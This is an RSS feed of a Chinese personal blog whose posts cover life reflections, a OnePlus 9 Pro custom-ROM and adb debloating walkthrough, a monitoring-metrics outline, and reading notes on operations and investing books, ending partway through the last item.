<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>bystander&#39;s blog</title>
    <link>http://blog.leaver.me/</link>
    <description>Recent content on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sat, 23 Dec 2023 18:44:17 +0800</lastBuildDate>
    <atom:link href="http://blog.leaver.me/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>人生的意义</title>
      <link>http://blog.leaver.me/2023/12/23/%E4%BA%BA%E7%94%9F%E7%9A%84%E6%84%8F%E4%B9%89/</link>
      <pubDate>Sat, 23 Dec 2023 18:44:17 +0800</pubDate>
      <guid>http://blog.leaver.me/2023/12/23/%E4%BA%BA%E7%94%9F%E7%9A%84%E6%84%8F%E4%B9%89/</guid>
      <description>&lt;p&gt;人生的意义到底是什么呢？做一个有趣的人，还是过好每一天，还是寻找某种真相，抑或是一直在无尽的追求意义中。&lt;/p&gt;</description>
    </item>
    <item>
      <title>和陈浩老师的一点小事</title>
      <link>http://blog.leaver.me/2023/05/16/%E5%92%8C%E9%99%88%E6%B5%A9%E8%80%81%E5%B8%88%E7%9A%84%E4%B8%80%E7%82%B9%E5%B0%8F%E4%BA%8B/</link>
      <pubDate>Tue, 16 May 2023 18:47:19 +0800</pubDate>
      <guid>http://blog.leaver.me/2023/05/16/%E5%92%8C%E9%99%88%E6%B5%A9%E8%80%81%E5%B8%88%E7%9A%84%E4%B8%80%E7%82%B9%E5%B0%8F%E4%BA%8B/</guid>
      <description>&lt;p&gt;我应该是从接触互联网就知道了酷壳，也因此知道了陈浩老师，但是一直并没有机会有什么交集。进入蚂蚁之后，得知陈浩老师也入职了，只是当时知道的时候，已经是他在内网发了一个关于北京居住证的帖子。后来过了不久， 他就离职了。&lt;/p&gt;
&lt;p&gt;工作了一年多之后，因为一些原因，我打算跑路，所以当时面了几家北京的公司，其中有一家公司面完感觉不错，这家公司现在应该已经没了，就是火辣健身，当时他们的HR说，我们这边有个大神，他会跟你聊一下。&lt;/p&gt;
&lt;p&gt;有一天正在上班，接到了一个北京的电话，电话那头，说他是陈浩，我确认了一下，才知道真是陈浩老师，他语气很和蔼。问了我java gc和一个锁重入的问题。聊完之后，问我有什么问题。&lt;/p&gt;</description>
    </item>
    <item>
      <title>2023开端</title>
      <link>http://blog.leaver.me/2023/01/27/2023%E5%BC%80%E7%AB%AF/</link>
      <pubDate>Fri, 27 Jan 2023 18:14:29 +0800</pubDate>
      <guid>http://blog.leaver.me/2023/01/27/2023%E5%BC%80%E7%AB%AF/</guid>
      <description>&lt;p&gt;23年几件重要的事情&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;锻炼身体&lt;/li&gt;
&lt;li&gt;rust学习&lt;/li&gt;
&lt;li&gt;面食精进&lt;/li&gt;
&lt;li&gt;多参与github，实践&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>Oneplus_9p 折腾记录</title>
      <link>http://blog.leaver.me/2022/02/27/oneplus_9p-%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/</link>
      <pubDate>Sun, 27 Feb 2022 21:11:37 +0800</pubDate>
      <guid>http://blog.leaver.me/2022/02/27/oneplus_9p-%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/</guid>
      <description>&lt;p&gt;2021 年 4 月买了一台一加9Pro手机,在此过程中,在 ColorOS,OxygenOS 之间反复横跳.一会解决垃圾 Oppo,自动的都是什么垃圾,一会 OxygenOS 又不收到系统推送.Oppo 做事情太糙了,Oxygen 里面各种垃圾自带应用.只是没打开而已.&lt;/p&gt;
&lt;p&gt;在此过程中,还通过 adb 卸载过内置软件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./adb shell pm uninstall -k --user 0 com.heytap.pictorial
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./adb shell pm uninstall -k --user 0 com.coloros.securepay
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./adb shell pm uninstall -k --user 0 com.coloros.codebook
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./adb shell pm uninstall -k --user 0 com.sohu.inputmethod.sogouoem #搜狗
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./adb shell pm uninstall -k --user 0 com.finshell.wallet
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不过这种可能会导致有些地方按钮是无效的.甚至似乎还影响了 Google 的备份.&lt;/p&gt;
&lt;p&gt;这两天又再次横跳,直接进行了解锁,刷了 nameless 这个类原生系统.今天用了一天,还算满意.简单介绍一下.先解锁.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;手机打开调试模式&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;然后连接上电脑&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;输入命令运行：&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;adb&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reboot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bootloader&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;（首次运行注意在手机弹窗上允许计算机进行调试）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;手机会重启进入&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Fastboot&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;模式，接着输入命令：&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fastboot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;flashing&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;unlock&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;会自动重启&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后就是下载好要安装的包,https://forum.xda-developers.com/t/rom-official-oneplus-9-pro-12-0-0_r32-nameless-aosp-2022-02-26.4403301/&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Instructions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;1.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Download&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;boot&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;img&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;download&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;link&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;下载里面的两个包&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;2.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Reboot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;phone&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bootloader&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;这个重启进入&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;直接使用上面的命令&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;3.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Open&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;any&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;terminal&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;like&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;etc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;enter&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;fastboot flash boot boot.img&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;4.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Reboot&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;phone&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;recovery&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;enter&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sideload&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;mode&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;这个在手机上&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;进入&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;recovery&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;之后&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;通过音量键上下&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;选择&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;install&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;update&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;之类的&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;会有一个&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sideload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;5.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Enter&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;adb sideload xxx&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xxx&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;means&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;of&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;rom&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;zip&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;you&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;downloaded&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;mf&#34;&gt;6.&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Do&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;factory&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reset&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;recovery&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Mandatory&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;first&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;time&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;flash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Reboot&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;第一次启动,可能失败,这时候,需要在 sideload 一次..&lt;/p&gt;
&lt;p&gt;之后,刷了 magisk 面具,使用 mipush &lt;a href=&#34;https://github.com/MiPushFramework/MiPushFramework/releases&#34;&gt;https://github.com/MiPushFramework/MiPushFramework/releases&lt;/a&gt;,来接收通知,注意,这里要去 coolapk,安装一个 mipush 注册机,完全模拟出来小蜜,之后装了指纹模块,开启微信指纹.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/eritpchy/FingerprintPay&#34;&gt;https://github.com/eritpchy/FingerprintPay&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>监控系统概要</title>
      <link>http://blog.leaver.me/2021/07/03/%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%A6%81/</link>
      <pubDate>Sat, 03 Jul 2021 11:07:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2021/07/03/%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%A6%81/</guid>
      <description>&lt;h1 id=&#34;监控系统&#34;&gt;监控系统&lt;/h1&gt;
&lt;h2 id=&#34;三剑客&#34;&gt;三剑客&lt;/h2&gt;
&lt;p&gt;metrics
monitor
alert&lt;/p&gt;
&lt;h1 id=&#34;监控什么&#34;&gt;监控什么&lt;/h1&gt;
&lt;h2 id=&#34;主机级别&#34;&gt;主机级别&lt;/h2&gt;
&lt;p&gt;CPU
Memory
Disk space
Processes&lt;/p&gt;
&lt;h2 id=&#34;应用程序&#34;&gt;应用程序&lt;/h2&gt;
&lt;p&gt;Error and success rates
Service failures and restarts
Performance and latency of responses
Resource usage&lt;/p&gt;
&lt;h2 id=&#34;网络相关&#34;&gt;网络相关&lt;/h2&gt;
&lt;p&gt;Connectivity
Error rates and packet loss
Latency
Bandwidth utilization&lt;/p&gt;
&lt;h2 id=&#34;服务池资源&#34;&gt;服务池资源&lt;/h2&gt;
&lt;p&gt;Pooled resource usage
Scaling adjustment indicators
Degraded instances&lt;/p&gt;
&lt;h2 id=&#34;外部依赖的度量&#34;&gt;外部依赖的度量&lt;/h2&gt;
&lt;p&gt;Service status and availability
Success and error rates
Run rate and operational costs
Resource exhaustion&lt;/p&gt;
&lt;h1 id=&#34;如何采集metrics&#34;&gt;如何采集Metrics&lt;/h1&gt;
&lt;h2 id=&#34;黄金指标&#34;&gt;黄金指标&lt;/h2&gt;
&lt;h3 id=&#34;延迟&#34;&gt;延迟&lt;/h3&gt;
&lt;p&gt;延迟可以知道一个任务需要多久&lt;/p&gt;
&lt;h3 id=&#34;流量&#34;&gt;流量&lt;/h3&gt;
&lt;p&gt;知道系统的繁忙程度&lt;/p&gt;
&lt;h3 id=&#34;错误&#34;&gt;错误&lt;/h3&gt;
&lt;p&gt;错误的分类和管理&lt;/p&gt;
&lt;h3 id=&#34;饱和&#34;&gt;饱和&lt;/h3&gt;
&lt;p&gt;资源的利用率&lt;/p&gt;
&lt;p&gt;可以说，任何的组件都可以通过这四个指标进行监控&lt;/p&gt;
&lt;h2 id=&#34;组件说明&#34;&gt;组件说明&lt;/h2&gt;
&lt;h3 id=&#34;服务器组件&#34;&gt;服务器组件&lt;/h3&gt;
&lt;p&gt;To measure CPU, the following measurements might be appropriate:&lt;/p&gt;
&lt;p&gt;Latency: Average or maximum delay in CPU scheduler
Traffic: CPU utilization
Errors: Processor specific error events, faulted CPUs
Saturation: Run queue length&lt;/p&gt;
&lt;h3 id=&#34;应用程序与服务&#34;&gt;应用程序与服务&lt;/h3&gt;
&lt;p&gt;Latency: The time to complete requests
Traffic: Number of requests per second served
Errors: Application errors that occur when processing client requests or accessing resources
Saturation: The percentage or amount of resources currently being used&lt;/p&gt;</description>
    </item>
    <item>
      <title>&lt;运营之光&gt;读书笔记</title>
      <link>http://blog.leaver.me/2021/04/07/%E8%BF%90%E8%90%A5%E4%B9%8B%E5%85%89%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 07 Apr 2021 19:46:31 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/04/07/%E8%BF%90%E8%90%A5%E4%B9%8B%E5%85%89%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;此书感觉一般。。&lt;/p&gt;
&lt;p&gt;◆ 第2章 运营之“光”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网行业内相对有一致共识的4大运营职能划分是：内容运营、用户运营、活动运营和产品运营。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 2.5 我做运营的3个底层工作方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实我们可以把“运营”理解为：为了要连接好产品和用户，你可能会使用的一切手段。基于这个层面来理解的话，概念层面的“运营”应当是要大于“市场”的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 2.6.2 案例：脉脉“知识裸捐”霸屏营销背后的逻辑与思考&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;产品负责界定和提供长期用户价值，运营负责创造短期用户价值+协助产品完善长期价值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.5 为何说“标题党”和“段子手”们都很难成为内容领域的顶尖高手&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个人若想要做好运营，我觉得可能需要：（1）一些必备的基础素质和思维方式、工作习惯等（如投入产出比意识、流程化&amp;amp;精细化意识、回报后置意识等）。（2）至少一项可以拿得出手、能直接带来产出的运营硬技能（如文案、内容包装&amp;amp;生产、活动策划、用户互动&amp;amp;维系、数据分析&amp;amp;策略制定等）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.6.3 面向较小规模特定用户的针对性运营&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;第一，当你在一个具体项目中面临N多不确定因素的时候，其中往往存在一个最为重要的因素，它可能会成为整件事情可以顺畅发生的核心前提。且，在互联网的世界里，这个最重要的因素往往就是“一个基于某种假设的产品或服务，能否得到用户真实、自发的认可”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.8 关于撬动用户互动参与意愿的8个指导原则&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实你会发现，很多时候运营在做的事，就像是攒一个“局”。即，设计或假想出来一个最终可以拉动N多人一起参与一起玩一起High的事情，并一步步去让这个事情从假想变得落地。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但，无论局大局小，组局成功的关键，总是在于你要能够一一界定清楚，局内各方的价值供给关系，并在其中穿针引线，优先引入某种较为稀缺的价值，从而逐步让各方间的价值供给关系从最初的假想一点点变为确立。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.8.2 懂球帝的教科书级运营案例&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我自己有一个习惯，但凡我在朋友圈、微信群等地方看到有超过3个人都在提一个我此前从来没听过的概念，我就一定会专门抽出来至少30～50分钟的时间，去把这个我从来没听说过的东西彻头彻尾搞清楚。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;假如你需要短时间内获得对方的注意力，那你可能需要先抛出一个可以让对方大吃一惊、瞠目结舌或十分好奇的观点和结论，瞬间击中对方，然后再去逐一论证你的观点是否可以成立。而，假如你面临着的问题是要说服对方接受一个你的观点，那么你可能更需要先从大量事实和一些细节的刻画出发，通过事实和细节引发出对方的感知、共鸣和认同，再逐步引申出你的结论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第4章 运营的一些宏观规律和逻辑&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个优秀的运营和一个普通人之间会存在的一个核心差别，就是优秀的运营拿到一个问题后，会先回归到流程，先把整个问题的全流程梳理出来，然后再从流程中去寻找潜在解决方案。而对普通人来说，则更可能会直接拍脑袋给出解决方案。&lt;/p&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>《投资中不简单的事》笔记</title>
      <link>http://blog.leaver.me/2021/02/01/%E6%8A%95%E8%B5%84%E4%B8%AD%E4%B8%8D%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Mon, 01 Feb 2021 16:46:32 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/02/01/%E6%8A%95%E8%B5%84%E4%B8%AD%E4%B8%8D%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;本书不建议读，浪费时间。属于文章合集。&lt;/p&gt;
&lt;p&gt;◆ 第一篇 思想篇&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们做价值投资，把时间拉长，总是赚两方面的钱：一方面赚的是企业被低估的钱，这个是市场过度悲观、市场情绪化定价所带来的机会；另一方面赚的是企业成长的钱，是管理团队不断为股东创造的价值、创造的新收益&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 02 在中国市场做价值投资的思路&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我理解的是，价值投资根本的出发点，是看投资回报的来源是哪里。企业持续地创造价值，投资人去分享收益，这才是价值投资的方式，才是基于基本面的投资。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 03 我所理解的基本面投资&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从过去十几年的业绩归因看，即使是由美国顶级聪明大脑打造的各种量化与对冲策略的基金业绩，似乎也不如人意。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 04 行业周期的判断和投资思路&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我的投资框架总结成一句话就是：自上而下思考，自下而上选择。自上而下思考就是从宏观经济和产业发展的角度来圈定行业范围，自下而上选择就是从人和机制的角度来挑选标&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 06 在经济变化的主航道上投资&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;判断一个新生意是否会成为主航道生意，有5个要点：◎ 一是新生意的体验或者效率要有数倍提升；◎ 二是这个生意要有足够的规模，小生意不可能成为主航道生意；◎ 三是这个生意必须要有足够的增长速度，在如今这个时代要符合摩尔定律；◎ 四是生意还要在商业上可行，可以在现在或可预见的未来产生卓越的资本回报率；◎ 五是第一批消费者已经在使用并且体验满意，能引领更多的人使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;判断一个成熟的生意是否还在主航道上，有两个标准。第一个是渗透率是否足够高。通常一个生意从0到1处在主航道上，从1到10也处在主航道上，但是从10到100就未必在主航道上了。拿中国来说，渗透一线城市主流人群的过程是从0到1，渗透二线城市主流人群和一线城市非主流人群的过程是从1到10，渗透二线以下城市是从10到100的过程。第二个是增速是否显著放慢。主航道生意应当有30%以上的收入增长，如果低于这个速度，通常不再是主航道生意。好的生意都有强大的护城河，该生意的资本回报率应该同样处在较高的水平，高于20%。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>《投资中最简单的事》笔记</title>
      <link>http://blog.leaver.me/2021/01/31/%E6%8A%95%E8%B5%84%E4%B8%AD%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 31 Jan 2021 21:32:00 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/01/31/%E6%8A%95%E8%B5%84%E4%B8%AD%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近读完了邱国鹭的《投资中最简单的事》，作为一本投资理财相关的笔记书籍。比较认可的，或者不错的，都写到笔记中。&lt;/p&gt;
&lt;p&gt;◆ 第一部分 投资理念&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;好公司的两个标准 一是它做的事情别人做不了；二是它做的事情自己可以重复做。前者是门槛，决定利润率的高低和趋势；后者是成长的可复制性，决定销售增速。如果二者不可兼得，宁要有门槛的低增长（可持续），也不要没门槛的高增长（不可持续）。门槛是现有的，好把握；成长是将来的，难预测。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网的本质是“人生人”，优势在于能以极低成本服务无数客户，规模效应体现在“人多”，“二八”现象不明显，是典型的散户经济，得散户者得天下。银行业的本质是“钱生钱”，规模效应体现在“钱多”，80%的业务来自20%的客户，“二八”现象显著，得大户者得天下，而且那20%的大客户是需要线下的高端服务的，这就是网上银行至今在欧美日韩都没有很成功的案例的重要原因。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网“人生人”主要靠两条：一是网络效应（例如淘宝，买家多卖家就多，卖家多买家更多；社交网站，美女多帅哥就多，帅哥多美女更多），二靠人多提升用户体验（用户越多搜索结果越精确；用户越多，对餐厅的点评越靠谱）。可惜的是，网络银行并不会因为用户多而形成网络效应或者提升用户体验，因此优势并不明显。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;投资要研究的就是这些不以人的意志为转移的规律，而不是整天去猜测市场的情绪变化。有时猜测别人的情绪变化能给我们带来收益，但那是不能够持久的。而经济规律、行业特质、商业模式是客观存在的，你只要研究透了，它在三五年内是不会有大的变化的，能为理解这些规律的投资人提供持续的竞争优势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;当其他行业的龙头公司想“移民”到某行业时，往往该行业股价已近阶段性顶部。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 02 人弃我取，逆向投资的关键&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;投资做了十几年，我深深体会到人弃我取、逆向投资是超额收益的重要来源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一只下跌的股票是否值得逆向投资的关键在于以下三点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;首先，看估值是否够低、是否已经过度反映了可能的坏消息。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其次，看遭遇的问题是否是短期问题、是否是可解决的问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;最后，看股价暴跌本身是否会导致公司的基本面进一步恶化，即是否有索罗斯所说的反身性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买股票之前问问自己，下跌后敢加仓吗？如果不敢，最好一开始就别买，因为价格的波动是不可避免的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
